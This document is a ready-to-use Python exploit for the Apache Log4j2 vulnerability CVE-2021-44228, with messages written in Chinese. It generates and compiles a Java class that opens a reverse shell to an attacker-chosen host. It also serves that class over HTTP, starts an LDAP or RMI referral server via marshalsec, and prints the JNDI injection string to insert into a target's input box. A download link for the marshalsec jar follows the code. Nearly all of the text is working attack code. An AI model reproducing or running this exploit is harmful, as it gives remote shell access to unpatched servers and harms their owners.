Apache Log4j2 RCE(CVE-2021-44228)

#!/usr/bin/env python3

import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
java_path=os.popen('which java').read().replace("\n","")
javac_path=os.popen('which javac').read().replace("\n","")
def generate_payload(userip: str, lport: int) -> None:
    program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {

    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe=p.getErrorStream(),
            si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            while(pi.available()>0)
                so.write(pi.read());
            while(pe.available()>0)
                so.write(pe.read());
            while(si.available()>0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            }
            catch (Exception e){
            }
        };
        p.destroy();
        s.close();
    }
}
""" % (userip, lport)
    p = Path("Exploit.java")

    try:
        p.write_text(program)
        subprocess.run([os.path.join(javac_path), str(p)])
    except OSError as e:
        print(Fore.RED + f'[-] 异常错误 {e}')
        raise e
    else:
        print(Fore.GREEN + '[+] java类Exploit创建成功')

def payload(userip: str, webport: int, lport: int, protocol: str) -> None:
    generate_payload(userip, lport)
    print(Fore.GREEN + '[+] 配置启动 '+protocol+' 协议服务\n')
    if protocol=="rmi":   
        t1 = threading.Thread(target=rmi, args=(userip, webport))
        t1.start()
    else:
        t1 = threading.Thread(target=ldap, args=(userip, webport))
        t1.start()        
    print(f"[+] 开始运行WEB服务在端口 {webport} http://0.0.0.0:{webport}")
    httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
    httpd.serve_forever()
def check_java() -> bool:
    exit_code = subprocess.call([
        os.path.join(java_path),
        '-version',
    ], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    return exit_code == 0
def ldap(userip: str, lport: int) -> None:
    sendme = "${jndi:ldap://%s:1389/Exploit}" % (userip)
    print(Fore.GREEN + f"[+] 在输入框插入: {sendme}\n")
    url = "http://{}:{}/#Exploit".format(userip, lport)
    subprocess.run([
        os.path.join(java_path),
        "-cp",
        os.path.join(CUR_FOLDER, "marshalsec-0.0.3-SNAPSHOT-all.jar"),
        "marshalsec.jndi.LDAPRefServer",
        url,
    ])
def rmi(userip: str, lport: int) -> None:
    sendme = "${jndi:rmi://%s:1099/Exploit}" % (userip)
    print(Fore.GREEN + f"[+] 在输入框插入: {sendme}\n")
    url = "http://{}:{}/#Exploit".format(userip, lport)
    subprocess.run([
        os.path.join(java_path),
        "-cp",
        os.path.join(CUR_FOLDER, "marshalsec-0.0.3-SNAPSHOT-all.jar"),
        "marshalsec.jndi.RMIRefServer",
        url,
    ])
def main() -> None:
    init(autoreset=True)
    parser = argparse.ArgumentParser(description='使用说明:')
    parser.add_argument('--userip',
                        metavar='userip',
                        type=str,
                        default='localhost',
                        help='提供Exploit类被调用的服务器IP')
    parser.add_argument('--webport',
                        metavar='webport',
                        type=int,
                        default='8899',
                        help='供远程下载Exploit类时的WEB服务端口')
    parser.add_argument('--lport',
                        metavar='lport',
                        type=int,
                        default='23333',
                        help='用来接收Natcat反弹的端口')
    parser.add_argument('--protocol',
                        metavar='protocol',
                        type=str,
                        default='ldap',
                        help='指定协议RMI或者LDAP,默认LDAP')

    args = parser.parse_args()
    try:
        if not check_java():
            print(Fore.RED + '[-] 没有java环境')
            raise SystemExit(1)
        payload(args.userip, args.webport, args.lport, args.protocol)
    except KeyboardInterrupt:
        print(Fore.RED + "-终端程序执行。")
        raise SystemExit(0)


if __name__ == "__main__":
    main()

marshalsec-0.0.3-SNAPSHOT-all.jar.zip:

https://github.com/jozxing/PublicRs/releases/download/untagged-0d336c7ba1a878d3c891/marshalsec-0.0.3-SNAPSHOT-all.jar.zip